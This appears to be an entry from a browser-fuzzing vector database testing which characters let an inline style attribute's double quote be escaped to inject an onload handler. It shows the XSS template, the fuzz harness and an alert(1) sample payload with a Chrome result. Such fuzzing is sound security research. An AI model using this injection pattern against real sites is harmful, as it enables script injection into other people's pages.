Characters that can break out of an inline style with double quotes
Characters that can break out of an inline style with double quotes
Created by: 0xdef1ant
Created on: Saturday, July 13, 2024 at 7:33:48 PM
Updated on: Tuesday, May 27, 2025 at 8:15:32 AM
Category: CSS Parsing
Vector visibility: Public
Vector type: XSS
Vector charset: UTF-8
Template used:
<div id="test" style="$[chr]onload="alert(1)">hello</div>Code used after fuzz:
let a = document.getElementById("test");0x0D
if (typeof a.onload === 'function') {0x0D
log(String.fromCharCode($[i]))0x0D
}Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...
Sample payloads
<div id="test" style="⟦00⟧onload="alert(1)">hello</div>Fuzz results
Chrome 143.0.0.0 desktop macOS 10.15.7
Updated
Sun Jan 25 2026
Found 1 result
Loading...